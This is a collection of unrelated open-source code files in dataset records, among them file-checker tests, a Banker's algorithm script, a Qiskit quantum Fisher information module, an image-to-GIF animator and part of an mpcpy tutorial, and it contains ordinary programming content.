_IMGDIR.mkdir(exist_ok=True)\n\n\ndef test_csv_valid():\n with TemporaryDirectory() as td:\n td = Path(td)\n req = CheckRequest(\n realpath=td.joinpath('test.csv'),\n tmpdir=td,\n virtpath=Path('irrelevant'))\n req.realpath.write_text(_TEST_CSV)\n res = CSVChecker().check(req)\n assert isinstance(res.recognizer, CSVChecker)\n assert res.errors == []\n assert res.thumb is None\n\n req.thumb = True\n res = CSVChecker().check(req)\n assert res.errors == []\n res.thumb.save(str(Path(_IMGDIR).joinpath('csv.png')))\n with Image.open(str(Path('tests').joinpath('csv.png'))) as img:\n assert res.thumb.tobytes() == img.tobytes()\n\n\ndef test_csv_missing_cols():\n with TemporaryDirectory() as td:\n td = Path(td)\n req = CheckRequest(\n realpath=td.joinpath('test.csv'),\n tmpdir=td,\n virtpath=Path('irrelevant'))\n req.realpath.write_text('a,b,c\\n1,2')\n res = CSVChecker().check(req)\n assert res.recognizer is None\n assert len(res.errors) == 1\n assert str(res.errors[0]) == 'Could not determine delimiter'\n\n\ndef test_tsv():\n with TemporaryDirectory() as td:\n td = Path(td)\n req = CheckRequest(\n realpath=td.joinpath('test.tsv'),\n tmpdir=td,\n virtpath=Path('irrelevant'))\n req.thumb = True\n req.realpath.write_text(_TEST_CSV.replace(',', '\\t'))\n res = CSVChecker().check(req)\n assert isinstance(res.recognizer, CSVChecker)\n assert res.errors == []\n res.thumb.save(str(Path(_IMGDIR).joinpath('tsv.png')))\n with Image.open(str(Path('tests').joinpath('csv.png'))) as img:\n assert res.thumb.tobytes() == img.tobytes()\n\n\ndef test_image_valid():\n with TemporaryDirectory() as td:\n td = Path(td)\n req = CheckRequest(\n realpath=Path('tests').joinpath('testimage.jpg'),\n tmpdir=td,\n virtpath=Path('irrelevant'))\n res = ImageChecker().check(req)\n assert isinstance(res.recognizer, ImageChecker)\n assert res.errors == []\n assert res.thumb is None\n\n req.thumb = True\n res = ImageChecker().check(req)\n assert res.errors == []\n res.thumb.save(str(Path(_IMGDIR).joinpath('image.png')))\n with Image.open(Path('tests').joinpath('image.png')) as img:\n assert res.thumb.tobytes() == img.tobytes()\n\n\ndef test_image_invalid():\n with TemporaryDirectory() as td:\n td = Path(td)\n req = CheckRequest(\n realpath=td.joinpath('test.jpg'),\n tmpdir=td,\n virtpath=Path('irrelevant'))\n req.realpath.write_text('garbage')\n res = ImageChecker().check(req)\n assert res.recognizer is None\n assert len(res.errors) == 1\n assert isinstance(res.errors[0], UnidentifiedImageError)\n assert res.thumb is None\n\n\ndef test_json_valid():\n with TemporaryDirectory() as td:\n td = Path(td)\n req = CheckRequest(\n realpath=td.joinpath('test.json'),\n tmpdir=td,\n virtpath=Path('irrelevant'))\n req.realpath.write_text(_TEST_JSON)\n res = JSONChecker().check(req)\n assert isinstance(res.recognizer, JSONChecker)\n assert res.errors == []\n assert res.thumb is None\n\n req.thumb = True\n res = JSONChecker().check(req)\n assert res.errors == []\n res.thumb.save(str(Path(_IMGDIR).joinpath('json.png')))\n with Image.open(Path('tests').joinpath('json.png')) as img:\n assert res.thumb.tobytes() == img.tobytes()\n\n\ndef test_json_invalid():\n with TemporaryDirectory() as td:\n td = Path(td)\n req = CheckRequest(\n realpath=td.joinpath('test.json'),\n tmpdir=td,\n virtpath=Path('irrelevant'))\n req.realpath.write_text('{\"garbage\": true')\n res = JSONChecker().check(req)\n assert res.recognizer is None\n assert len(res.errors) == 1\n assert isinstance(res.errors[0], json.JSONDecodeError)\n\n\ndef test_plaintext_valid():\n with TemporaryDirectory() as td:\n td = Path(td)\n req = CheckRequest(\n realpath=td.joinpath('test.txt'),\n tmpdir=td,\n virtpath=Path('irrelevant'))\n req.realpath.write_text('Hello, world!\ud83d\ude00\\nNo problems here!\\n')\n res = PlaintextChecker().check(req)\n assert isinstance(res.recognizer, PlaintextChecker)\n assert res.errors == []\n assert res.thumb is None\n\n req.thumb = True\n res = PlaintextChecker().check(req)\n assert res.errors == []\n res.thumb.save(str(Path(_IMGDIR).joinpath('plaintext.png')))\n # The font I'm currently using doesn't handle emoji but I don't\n # really care right now\n with Image.open(str(Path('tests').joinpath('plaintext.png'))) as img:\n assert res.thumb.tobytes() == img.tobytes()\n\n\ndef test_plaintext_encoding_error():\n with TemporaryDirectory() as td:\n td = Path(td)\n req = CheckRequest(\n realpath=td.joinpath('test.txt'),\n tmpdir=td,\n virtpath=Path('irrelevant'))\n req.realpath.write_bytes(\n bytes('Hello, world!', 'utf-8')\n + bytes([0xfe]) + bytes('oops', 'utf-8'))\n res = PlaintextChecker().check(req)\n assert isinstance(res.recognizer, PlaintextChecker)\n assert len(res.errors) == 1\n assert isinstance(res.errors[0], UnicodeDecodeError)\n assert res.thumb is None\n\n\ndef test_xml_valid():\n with TemporaryDirectory() as td:\n td = Path(td)\n req = CheckRequest(\n realpath=td.joinpath('test.xml'),\n tmpdir=td,\n virtpath=Path('irrelevant'))\n req.realpath.write_text(_TEST_XML)\n res = XMLChecker().check(req)\n assert isinstance(res.recognizer, XMLChecker)\n assert res.errors == []\n assert res.thumb is None\n\n req.thumb = True\n res = XMLChecker().check(req)\n assert res.errors == []\n res.thumb.save(str(Path(_IMGDIR).joinpath('xml.png')))\n with Image.open(Path('tests').joinpath('xml.png')) as img:\n assert res.thumb.tobytes() == img.tobytes()\n\n\ndef test_xml_invalid():\n with TemporaryDirectory() as td:\n td = Path(td)\n req = CheckRequest(\n realpath=td.joinpath('test.xml'),\n tmpdir=td,\n virtpath=Path('irrelevant'))\n req.realpath.write_text('garbage')\n res = XMLChecker().check(req)\n assert res.recognizer is None\n assert len(res.errors) == 1\n assert 'no element found' in str(res.errors[0])\n", "source": "brokensandals/spot_check_files", "license": "MIT"} {"text": "# Banker's Algorithm\n\nn = 5 # no. of processes / rows\nm = 4 # no. of resources / columns\n\n# Maximum matrix - denotes maximum demand of each process\n\nmaxi = [[0, 0, 1, 2],\n [1, 7, 5, 0],\n [2, 3, 5, 6],\n [0, 6, 5, 2],\n [0, 6, 5, 6]]\n\n# Allocation matrix - denotes no. of resources allocated to processes\n\nalloc = [[0, 0, 1, 2],\n\t\t [1, 0, 0, 0],\n\t\t [1, 3, 5, 4],\n\t\t [0, 6, 3, 2],\n\t\t [0, 0, 1, 4]]\n\n# Available matrix - no. of available resources of each type\n\navail = [1, 5, 2, 0]\n\n \nf = [0]*n \nans = [0]*n \nind = 0\n \nneed = [[ 0 for i in range(m)]for i in range(n)] \nfor i in range(n): \n for j in range(m): \n need[i][j] = maxi[i][j] - alloc[i][j] \ny = 0\nfor k in range(5): \n for i in range(n): \n if (f[i] == 0): \n flag = 0\n for j in range(m): \n if (need[i][j] > avail[j]): \n flag = 1\n break\n \n if (flag == 0): \n ans[ind] = i \n ind += 1\n for y in range(m): \n avail[y] += alloc[i][y] \n f[i] = 1\n \nprint(\"Following is the SAFE Sequence\") \n \nfor i in range(n - 1): \n print(\" P\", ans[i], \" ->\", sep=\"\", end=\"\") \nprint(\" P\", ans[n - 1], sep=\"\")", "source": "Nilesh-Das/dsalgo", "license": "MIT"} {"text": "# Dummy models.py file to allow for tests to run\nfrom django.db import models\n\nclass CCTestModel(models.Model):\n name = models.CharField(max_length=10)\n age = models.IntegerField()\n gender = models.CharField(max_length=10)\n price = models.PositiveIntegerField()\n discount = models.PositiveIntegerField()\n mfg_date = models.DateField()\n\n class Meta:\n constraints = ()\n", "source": "theju/django-check-constraints", "license": "BSD-3-Clause"} {"text": "import pytest\n\nfrom docarray.score import NamedScore\n\n\n@pytest.mark.parametrize(\n 'init_args', [None, dict(value=123, description='hello'), NamedScore()]\n)\n@pytest.mark.parametrize('copy', [True, False])\ndef test_construct_ns(init_args, copy):\n NamedScore(init_args, copy)\n", "source": "fastflair/docarray", "license": "Apache-2.0"} {"text": "import numpy as np\nimport tensorflow as tf\n\n\nclass BruteForceKNN(object):\n def __init__(self, buffersize, dimension, X):\n self.size = buffersize\n self.dimension = dimension\n # self.X = X\n self.knn = self.build_graph()\n\n def build_graph(self):\n self.X = tf.placeholder(tf.float32, shape=[None, self.dimension])\n self.query = tf.placeholder(tf.float32, shape=[None, self.dimension])\n self.k = tf.placeholder(tf.int32, shape=(), name=\"k\")\n neg_distances = tf.matmul(self.query, tf.transpose(self.X))\n # neg_distances = tf.negative(distances)\n values, indexes = tf.nn.top_k(neg_distances, self.k)\n\n return 1-values, indexes\n", "source": "MouseHu/emdqn", "license": "MIT"} {"text": "#!/usr/bin/env python3\n\n\"\"\"\nEquivalent kubectl commands are much less readable:\nk get ds -n kube-system kube-flannel-ds -oyaml\nk get ds -n kube-system kube-flannel-ds -o=custom-columns=IFACE:.spec.template.spec.containers[0].args\n# Not sure of the next one:\nkubectl patch ds -n kube-system kube-flannel-ds -p '{\"spec\":{\"template\":{\"spec\":{\"containers\":[{\"name\":\"kube-flannel\",\"args\":\"new args\"}]}}}}'\n\"\"\"\n\nimport sys\n\nimport yaml\n\niface_name = sys.argv[1]\n\nwith open(\"kube-flannel.yml\") as f:\n eph_yaml = list(yaml.load_all(f, Loader=yaml.FullLoader))\n\nds = [x for x in eph_yaml if x[\"kind\"] == \"DaemonSet\"][0]\ncontainer_args = ds[\"spec\"][\"template\"][\"spec\"][\"containers\"][0][\"args\"]\niface_arg = \"--iface={}\".format(iface_name)\n# Make it idempotent:\nif iface_arg not in container_args:\n container_args.append(iface_arg)\n\nwith open(\"kube-flannel.yml\", \"w\") as f:\n lded = yaml.dump_all(eph_yaml, f, default_flow_style=False)\n", "source": "ployt0/vagrank8s", "license": "MIT"} {"text": "# -*- coding: utf-8 -*-\n#\n# Copyright \u00a9 2012 CEA\n# Pierre Raybaut\n# Licensed under the terms of the CECILL License\n# (see guiqwt/__init__.py for details)\n\n\"\"\"Flip/rotate test\"\"\"\n\nSHOW = True # Show test in GUI-based test launcher\n\nfrom guiqwt.widgets.fliprotate import FlipRotateDialog, FlipRotateWidget\nfrom guiqwt.tests.rotatecrop import imshow, create_test_data\n\ndef widget_test(fname, qapp):\n \"\"\"Test the rotate/crop widget\"\"\"\n array0, item = create_test_data(fname)\n widget = FlipRotateWidget(None)\n widget.set_item(item)\n widget.set_parameters(-90, True, False)\n widget.show()\n qapp.exec_()\n\ndef dialog_test(fname, interactive=True):\n \"\"\"Test the rotate/crop dialog\"\"\"\n array0, item = create_test_data(fname)\n dlg = FlipRotateDialog(None)\n dlg.set_item(item)\n if dlg.exec_():\n array1 = dlg.output_array\n imshow(array0, title=\"array0\", hold=True)\n imshow(array1, title=\"array1\")\n\n\nif __name__ == '__main__':\n from guidata import qapplication\n qapp = qapplication() # analysis:ignore\n \n widget_test(\"brain.png\", qapp)\n dialog_test(fname=\"brain.png\", interactive=True)\n ", "source": "fochoao/cpython", "license": "bzip2-1.0.6"} {"text": "# User input\nnum1=float(input(\"Enter the 1st number: \"))\nnum2=float(input(\"Enter your 2nd number: \"))\n\n# Operations the program should perform\nsum = num1 + num2\ndifference = num1 - num2\nproduct = num1 * num2\ndivide = num1 / num2\nmodulus = num1 % num2\n\n# Computer output\nprint(sum)\nprint(difference)\nprint(product)\nprint(divide)\nprint(modulus)\n", "source": "kooldamian28/koolthings", "license": "MIT"} {"text": "def get_column(game, col_num):\r\n ''' Get the columns '''\r\n col = col_num\r\n result = []\r\n for i in range(0, 3):\r\n temp = game[i]\r\n result.append(temp[col])\r\n return result\r\n\r\ndef print_odd_cubes_to_number(number):\r\n ''' Print odds and their cubes '''\r\n if number < 1:\r\n print('ERROR: number must be at least 1')\r\n else:\r\n for i in range(1, number + 1):\r\n if i % 2 != 0:\r\n print(i, '*', i, '*', i, '=', i ** 3)\r\n\r\ndef print_hundred(nums):\r\n ''' Rewrite with while-loop '''\r\n total = 0\r\n i = 0\r\n while total <= 100 and i < len(nums):\r\n total = nums[i] + total\r\n print(nums[i])\r\n i = i + 1\r\n\r\ndef my_enumerate(items):\r\n ''' Like enumerate() '''\r\n temp = []\r\n for i in range(0, len(items)):\r\n temp_1 = (i, items[i])\r\n temp.append(temp_1)\r\n return temp\r\n\r\ndef num_rushes(slope_height, rush_height_gain, back_sliding):\r\n ''' Use the template '''\r\n current_height = 0\r\n rushes = 0\r\n while current_height < slope_height:\r\n current_height = current_height + rush_height_gain\r\n rushes = rushes + 1\r\n if current_height >= slope_height:\r\n break\r\n else:\r\n current_height = current_height - back_sliding\r\n return rushes\r\n\r\ndef rumbletron(strings):\r\n ''' Reserve and capitalize '''\r\n temp = []\r\n for i in range(0, len(strings)):\r\n string = strings[i]\r\n string = string[::-1]\r\n string = string.upper()\r\n temp.append(string)\r\n return temp", "source": "dingaotearoa/Programming", "license": "MIT"} {"text": "# Turn image to animated gif using 3 animation modes: \"explode\" \"melt\" \"diffuse\"\r\n\r\nimport PIL.Image as Image\r\nimport numpy as np\r\n\r\n#------------------input parameterss---------------------------------------------------------------\r\nInputImage=\"Input.jpg\" # Input image patg\r\nOutputGifName=\"Out.gif\" # Output gif file path\r\nMode=\"melt\" #\"explode\" #Animation Modes: \"explode\" \"melt\" \"diffuse\"\r\n\r\nNumFrames=40 # Number of frames for animation\r\nduration=80 # Frame duration in millisecond\r\n\r\nReverse = False # Reverse frames order True/False\r\nPalladrum = False # Palladrum frames order True/False\r\n\r\n#---------------Read image-------------------------------------------------------------------\r\npic=Image.open(InputImage)\r\nim=np.array(pic.getdata()).reshape(pic.size[1], pic.size[0], 3)\r\nim=im.astype(np.uint8)\r\nh,w,d=im.shape\r\nprint(h,w)\r\ncx=w/2\r\ncy=h/2\r\n\r\n#------------------------------diffuse-----------------------------------------------------------------\r\ndef diffuse():\r\n ImArray=[]\r\n for i in range(NumFrames):\r\n print(\"Frame \", i, \"out of \", NumFrames)\r\n for i in range(1000):\r\n x = np.random.randint(w)\r\n y = np.random.randint(h)\r\n for jj in range(30):\r\n dx = np.random.randint(-4,4)\r\n dy = np.random.randint(-4,4)\r\n if x < cx: dx *= -1\r\n if y < cy: dy *= -1\r\n\r\n x1 = x + dx\r\n y1 = y + dy\r\n\r\n if not (x1>=w or x1<0 or y1>=h or y1<0):\r\n im[y1,x1]=im[y,x]\r\n ImArray.append(Image.fromarray(im))\r\n if Reverse: ImArray = ImArray[::-1] # Inverse frames order\r\n if Palladrum: ImArray = ImArray+ImArray[::-1] # Palladrum frames order\r\n ImArray[0].save(OutputGifName, save_all=True, append_images=ImArray[1:] , duration=duration, loop=10000)\r\n\r\n\r\n#--------------------------explode--------------------------------------------------------------------------\r\ndef explode():\r\n ImArray = []\r\n for i in range(NumFrames):\r\n print(\"Frame \", i, \"out of \", NumFrames)\r\n for i in range(1000):\r\n x = np.random.randint(w)\r\n y = np.random.randint(h)\r\n for iii in range(30):\r\n r= np.random.randint(10)\r\n dx = x-cx\r\n dy = y-cy\r\n dc = (dy**2+dx**2)**0.5\r\n dx /= dc+0.001\r\n dy /= dc+0.001\r\n\r\n dx*=r\r\n dy*=r\r\n if np.random.rand()<0.5:\r\n dx+=np.random.randint(3)-1\r\n if np.random.rand() < 0.5:\r\n dy += np.random.randint(3) - 1\r\n\r\n x1 = x + int(dx)\r\n y1 = y + int(dy)\r\n\r\n if (x1 >= w or x1 < 0 or y1 >= h or y1 < 0): break\r\n im[y1, x1] = im[y, x]\r\n\r\n ImArray.append(Image.fromarray(im))\r\n if Reverse: ImArray=ImArray[::-1] # Inverse frames order\r\n if Palladrum: ImArray = ImArray + ImArray[::-1] # Palladrum frames order\r\n ImArray[0].save(OutputGifName, save_all=True, append_images=ImArray[1:] , duration=duration, loop=10000)\r\n#-----------------------------melt--------------------------------------------------------------------------------------\r\n\r\ndef melt():\r\n ImArray = []\r\n for i in range(NumFrames):\r\n print(\"Frame \", i, \"out of \", NumFrames)\r\n for i in range(1000):\r\n x = np.random.randint(w)\r\n y = np.random.randint(h)\r\n for iii in range(30):\r\n\r\n dy = np.random.randint(6)\r\n dx=np.random.randint(-3,3)\r\n x1 = x + int(dx)\r\n y1 = y + int(dy)\r\n if (x1 >= w or x1 < 0 or y1 >= h or y1 < 0): break\r\n im[y1, x1] = im[y, x]\r\n ImArray.append(Image.fromarray(im))\r\n if Reverse: ImArray = ImArray[::-1] # Inverse frames order\r\n if Palladrum: ImArray = ImArray + ImArray[::-1] # Palladrum frames order\r\n ImArray[0].save(OutputGifName, save_all=True, append_images=ImArray[1:] , duration=duration, loop=10000)\r\n#----------------------Main----------------------------------------------------------------\r\nprint(\"mode\")\r\nif Mode==\"explode\": explode()\r\nif Mode==\"melt\": melt()\r\nif Mode==\"diffuse\": diffuse()", "source": "sagieppel/Turn-image-into-animated-gif-", "license": "Apache-2.0"} {"text": "# This code is part of Qiskit.\n#\n# (C) Copyright IBM 2020, 2021.\n#\n# This code is licensed under the Apache License, Version 2.0. You may\n# obtain a copy of this license in the LICENSE.txt file in the root directory\n# of this source tree or at http://www.apache.org/licenses/LICENSE-2.0.\n#\n# Any modifications or derivative works of this code must retain this\n# copyright notice, and modified files need to carry a notice indicating\n# that they have been altered from the originals.\n\n\"\"\"The module for Quantum the Fisher Information.\"\"\"\n\nfrom typing import List, Union\n\nimport numpy as np\nfrom qiskit.circuit import QuantumCircuit, QuantumRegister, ParameterVector, ParameterExpression\nfrom qiskit.utils.arithmetic import triu_to_dense\n\nfrom ...operator_base import OperatorBase\nfrom ...list_ops.list_op import ListOp\nfrom ...list_ops.summed_op import SummedOp\nfrom ...operator_globals import I, Z, Y\nfrom ...state_fns.state_fn import StateFn\nfrom ...state_fns.circuit_state_fn import CircuitStateFn\nfrom ..circuit_gradients.lin_comb import LinComb\nfrom .circuit_qfi import CircuitQFI\n\n\nclass LinCombFull(CircuitQFI):\n r\"\"\"Compute the full Quantum Fisher Information (QFI).\n\n Given a pure, parameterized quantum state this class uses the linear combination of unitaries\n See also :class:`~qiskit.opflow.QFI`.\n \"\"\"\n\n # pylint: disable=signature-differs, arguments-differ\n def __init__(\n self,\n aux_meas_op: OperatorBase = Z,\n phase_fix: bool = True,\n ):\n \"\"\"\n Args:\n aux_meas_op: The operator that the auxiliary qubit is measured with respect to.\n For ``aux_meas_op = Z`` we compute 4Re[(d\u03c9\u27e8\u03c8(\u03c9)|)O(\u03b8)|\u03c8(\u03c9)\u3009],\n for ``aux_meas_op = -Y`` we compute 4Im[(d\u03c9\u27e8\u03c8(\u03c9)|)O(\u03b8)|\u03c8(\u03c9)\u3009], and\n for ``aux_meas_op = Z - 1j * Y`` we compute 4(d\u03c9\u27e8\u03c8(\u03c9)|)O(\u03b8)|\u03c8(\u03c9)\u3009.\n phase_fix: Whether or not to compute and add the additional phase fix term\n Re[(d\u03c9\u27e8<\u03c8(\u03c9)|)|\u03c8(\u03c9)><\u03c8(\u03c9)|(d\u03c9|\u03c8(\u03c9))>].\n Raises:\n ValueError: If the provided auxiliary measurement operator is not supported.\n \"\"\"\n super().__init__()\n if aux_meas_op not in [Z, -Y, (Z - 1j * Y)]:\n raise ValueError(\n \"This auxiliary measurement operator is currently not supported. Please choose \"\n \"either Z, -Y, or Z - 1j * Y. \"\n )\n self._aux_meas_op = aux_meas_op\n self._phase_fix = phase_fix\n\n def convert(\n self,\n operator: CircuitStateFn,\n params: Union[ParameterExpression, ParameterVector, List[ParameterExpression]],\n ) -> ListOp:\n r\"\"\"\n Args:\n operator: The operator corresponding to the quantum state :math:`|\\psi(\\omega)\\rangle`\n for which we compute the QFI.\n params: The parameters :math:`\\omega` with respect to which we are computing the QFI.\n Returns:\n A ``ListOp[ListOp]`` where the operator at position ``[k][l]`` corresponds to the matrix\n element :math:`k, l` of the QFI.\n\n Raises:\n TypeError: If ``operator`` is an unsupported type.\n \"\"\"\n # QFI & phase fix observable\n qfi_observable = StateFn(\n 4 * self._aux_meas_op ^ (I ^ operator.num_qubits), is_measurement=True\n )\n\n # Check if the given operator corresponds to a quantum state given as a circuit.\n if not isinstance(operator, CircuitStateFn):\n raise TypeError(\n \"LinCombFull is only compatible with states that are given as \"\n f\"CircuitStateFn, not {type(operator)}\"\n )\n\n # If a single parameter is given wrap it into a list.\n if isinstance(params, ParameterExpression):\n params = [params]\n elif isinstance(params, ParameterVector):\n params = params[:] # unroll to list\n\n if self._phase_fix:\n # First, the operators are computed which can compensate for a potential phase-mismatch\n # between target and trained state, i.e.\u3008\u03c8|\u2202l\u03c8\u3009\n phase_fix_observable = I ^ operator.num_qubits\n gradient_states = LinComb(aux_meas_op=(Z - 1j * Y))._gradient_states(\n operator,\n meas_op=phase_fix_observable,\n target_params=params,\n open_ctrl=False,\n trim_after_grad_gate=True,\n )\n\n # pylint: disable=unidiomatic-typecheck\n if type(gradient_states) == ListOp:\n phase_fix_states = gradient_states.oplist\n else:\n phase_fix_states = [gradient_states]\n\n # Get 4 * Re[\u3008\u2202k\u03c8|\u2202l\u03c8]\n qfi_operators = []\n # Add a working qubit\n qr_work = QuantumRegister(1, \"work_qubit\")\n state_qc = QuantumCircuit(*operator.primitive.qregs, qr_work)\n state_qc.h(qr_work)\n # unroll separately from the H gate since we need the H gate to be the first\n # operation in the data attributes of the circuit\n unrolled = LinComb._transpile_to_supported_operations(\n operator.primitive, LinComb.SUPPORTED_GATES\n )\n state_qc.compose(unrolled, inplace=True)\n\n # Get the circuits needed to compute\u3008\u2202i\u03c8|\u2202j\u03c8\u3009\n for i, param_i in enumerate(params): # loop over parameters\n qfi_ops = []\n for j, param_j in enumerate(params[i:], i):\n # Get the gates of the quantum state which are parameterized by param_i\n qfi_op = []\n param_gates_i = state_qc._parameter_table[param_i]\n for gate_i, idx_i in param_gates_i:\n grad_coeffs_i, grad_gates_i = LinComb._gate_gradient_dict(gate_i)[idx_i]\n\n # get the location of gate_i, used for trimming\n location_i = None\n for idx, (op, _, _) in enumerate(state_qc._data):\n if op is gate_i:\n location_i = idx\n break\n\n for grad_coeff_i, grad_gate_i in zip(grad_coeffs_i, grad_gates_i):\n\n # Get the gates of the quantum state which are parameterized by param_j\n param_gates_j = state_qc._parameter_table[param_j]\n for gate_j, idx_j in param_gates_j:\n grad_coeffs_j, grad_gates_j = LinComb._gate_gradient_dict(gate_j)[idx_j]\n\n # get the location of gate_j, used for trimming\n location_j = None\n for idx, (op, _, _) in enumerate(state_qc._data):\n if op is gate_j:\n location_j = idx\n break\n\n for grad_coeff_j, grad_gate_j in zip(grad_coeffs_j, grad_gates_j):\n\n grad_coeff_ij = np.conj(grad_coeff_i) * grad_coeff_j\n qfi_circuit = LinComb.apply_grad_gate(\n state_qc,\n gate_i,\n idx_i,\n grad_gate_i,\n grad_coeff_ij,\n qr_work,\n open_ctrl=True,\n trim_after_grad_gate=(location_j < location_i),\n )\n\n # create a copy of the original circuit with the same registers\n qfi_circuit = LinComb.apply_grad_gate(\n qfi_circuit,\n gate_j,\n idx_j,\n grad_gate_j,\n 1,\n qr_work,\n open_ctrl=False,\n trim_after_grad_gate=(location_j >= location_i),\n )\n\n qfi_circuit.h(qr_work)\n # Convert the quantum circuit into a CircuitStateFn and add the\n # coefficients i, j and the original operator coefficient\n coeff = operator.coeff\n coeff *= np.sqrt(np.abs(grad_coeff_i) * np.abs(grad_coeff_j))\n state = CircuitStateFn(qfi_circuit, coeff=coeff)\n\n param_grad = 1\n for gate, idx, param in zip(\n [gate_i, gate_j], [idx_i, idx_j], [param_i, param_j]\n ):\n param_expression = gate.params[idx]\n param_grad *= param_expression.gradient(param)\n meas = param_grad * qfi_observable\n\n term = meas @ state\n\n qfi_op.append(term)\n\n # Compute \u22124 * Re(\u3008\u2202k\u03c8|\u03c8\u3009\u3008\u03c8|\u2202l\u03c8\u3009)\n def phase_fix_combo_fn(x):\n return -4 * np.real(x[0] * np.conjugate(x[1]))\n\n if self._phase_fix:\n phase_fix_op = ListOp(\n [phase_fix_states[i], phase_fix_states[j]], combo_fn=phase_fix_combo_fn\n )\n # Add the phase fix quantities to the entries of the QFI\n # Get 4 * Re[\u3008\u2202k\u03c8|\u2202l\u03c8\u3009\u2212\u3008\u2202k\u03c8|\u03c8\u3009\u3008\u03c8|\u2202l\u03c8\u3009]\n qfi_ops += [SummedOp(qfi_op) + phase_fix_op]\n else:\n qfi_ops += [SummedOp(qfi_op)]\n\n qfi_operators.append(ListOp(qfi_ops))\n\n # Return estimate of the full QFI -- A QFI is by definition positive semi-definite.\n return ListOp(qfi_operators, combo_fn=triu_to_dense)\n", "source": "QAMP-Spring-2022-Transpiler-Hackathon/qiskit-terra", "license": "Apache-2.0"} {"text": "# -*- coding: utf-8 -*-\n\"\"\"\n\nThis tutorial will introduce the basic concepts and workflow of mpcpy.\nBy the end, we will train a simple model based on emulated data, and use \nthe model to optimize the control signal of the system. All required data\nfiles for this tutorial are located in doc/userGuide/tutorial.\n\nThe model is a simple RC model of zone thermal response to ambient temperature\nand a singal heat input. It is written in Modelica:\n\n.. code-block:: modelica\n\n model RC \"A simple RC network for example purposes\"\n Modelica.Blocks.Interfaces.RealInput weaTDryBul(unit=\"K\") \"Ambient temperature\";\n Modelica.Blocks.Interfaces.RealInput Qflow(unit=\"W\") \"Heat input\";\n Modelica.Blocks.Interfaces.RealOutput Tzone(unit=\"K\") \"Zone temperature\";\n Modelica.Thermal.HeatTransfer.Components.HeatCapacitor heatCapacitor(C=1e5) \n \"Thermal capacitance of zone\";\n Modelica.Thermal.HeatTransfer.Components.ThermalResistor thermalResistor(R=0.01) \n \"Thermal resistance of zone\";\n Modelica.Thermal.HeatTransfer.Sources.PrescribedTemperature preTemp;\n Modelica.Thermal.HeatTransfer.Sensors.TemperatureSensor senTemp;\n Modelica.Thermal.HeatTransfer.Sources.PrescribedHeatFlow preHeat;\n equation \n connect(senTemp.T, Tzone)\n connect(preHeat.Q_flow, Qflow)\n connect(heatCapacitor.port, senTemp.port)\n connect(heatCapacitor.port, preHeat.port)\n connect(preTemp.port, thermalResistor.port_a)\n connect(thermalResistor.port_b, heatCapacitor.port)\n connect(preTemp.T, weaTDryBul)\n end RC;\n\n\nVariables and Units\n-------------------\n\nFirst, lets get familiar with variables and units, the basic building blocks of MPCPy.\n\n>>> from mpcpy import variables\n>>> from mpcpy import units\n\nStatic variables contain data that is not a timeseries:\n\n>>> setpoint = variables.Static('setpoint', 20, units.degC)\n>>> print(setpoint) # doctest: +NORMALIZE_WHITESPACE\nName: setpoint\nVariability: Static\nQuantity: Temperature\nDisplay Unit: degC\n\nThe unit assigned to the variable is the display unit. \nHowever, each display unit quantity has a base unit that is used to store \nthe data in memory. This makes it easy to convert between units \nwhen necessary. For example, the degC display unit has a quantity temperature,\nwhich has base unit in Kelvin. \n\n>>> # Get the data in display units\n>>> setpoint.display_data()\n20.0\n>>> # Get the data in base units\n>>> setpoint.get_base_data()\n293.15\n>>> # Convert the display unit to degF\n>>> setpoint.set_display_unit(units.degF)\n>>> setpoint.display_data() # doctest: +NORMALIZE_WHITESPACE\n68.0\n\nTimeseries variables contain data in the form of a ``pandas`` Series with a \ndatetime index:\n\n>>> # Create pandas Series object\n>>> import pandas as pd\n>>> data = [0, 5, 10, 15, 20]\n>>> index = pd.date_range(start='1/1/2017', periods=len(data), freq='H')\n>>> ts = pd.Series(data=data, index=index, name='power_data')\n\nNow we can do the same thing with the timeseries variable as we did with the \nstatic variable:\n\n>>> # Create mpcpy variable\n>>> power_data = variables.Timeseries('power_data', ts, units.Btuh)\n>>> print(power_data) # doctest: +NORMALIZE_WHITESPACE\nName: power_data\nVariability: Timeseries\nQuantity: Power\nDisplay Unit: Btuh\n>>> # Get the data in display units\n>>> power_data.display_data()\n2017-01-01 00:00:00+00:00 0.0\n2017-01-01 01:00:00+00:00 5.0\n2017-01-01 02:00:00+00:00 10.0\n2017-01-01 03:00:00+00:00 15.0\n2017-01-01 04:00:00+00:00 20.0\nFreq: H, Name: power_data, dtype: float64\n>>> # Get the data in base units\n>>> power_data.get_base_data()\n2017-01-01 00:00:00+00:00 0.000000\n2017-01-01 01:00:00+00:00 1.465355\n2017-01-01 02:00:00+00:00 2.930711\n2017-01-01 03:00:00+00:00 4.396066\n2017-01-01 04:00:00+00:00 5.861421\nFreq: H, Name: power_data, dtype: float64\n>>> # Convert the display unit to kW\n>>> power_data.set_display_unit(units.kW)\n>>> power_data.display_data()\n2017-01-01 00:00:00+00:00 0.000000\n2017-01-01 01:00:00+00:00 0.001465\n2017-01-01 02:00:00+00:00 0.002931\n2017-01-01 03:00:00+00:00 0.004396\n2017-01-01 04:00:00+00:00 0.005861\nFreq: H, Name: power_data, dtype: float64\n\nThere is additional functionality with the units that may be useful, such as\nsetting new data and getting the units. Consult the documentation on these \nclasses for more information.\n\n\nCollect model weather and control signal data\n---------------------------------------------\n\nNow, we would like to collect the weather data and control signal inputs\nfor our model. We do this using exodata objects:\n\n>>> from mpcpy import exodata\n\nLet's take our weather data from an EPW file. We instantiate the weather \nexodata object by supplying the path to the EPW file:\n\n>>> weather = exodata.WeatherFromEPW('USA_IL_Chicago-OHare.Intl.AP.725300_TMY3.epw')\n\nNote that using the weather exodata object assumes that weather inputs to our\nmodel are named a certain way. Consult the documentation on the weather\nexodata class for more information. In this case, the ambient dry bulb\ntemperature input in our model is named weaTDryBul.\n\nLet's take our control input signal from a CSV file. The CSV file looks like:\n\n::\n\n Time,Qflow_csv\n 01/01/17 12:00 AM,3000\n 01/01/17 01:00 AM,3000\n 01/01/17 02:00 AM,3000\n ...\n 01/02/17 10:00 PM,3000\n 01/02/17 11:00 PM,3000\n 01/03/17 12:00 AM,3000\n \nWe instantiate the control exodata object by supplying the path to the CSV file\nas well as a map of the names of the columns to the input of our model. \nWe also assume that the data in the CSV file is given in the local time of the \nweather file, and so we supply this optional parameter, tz_name, upon \ninstantiation as well. If no time zone is supplied, it is assumed to be UTC.\n\n>>> variable_map = {'Qflow_csv' : ('Qflow', units.W)}\n>>> control = exodata.ControlFromCSV('ControlSignal.csv',\n... 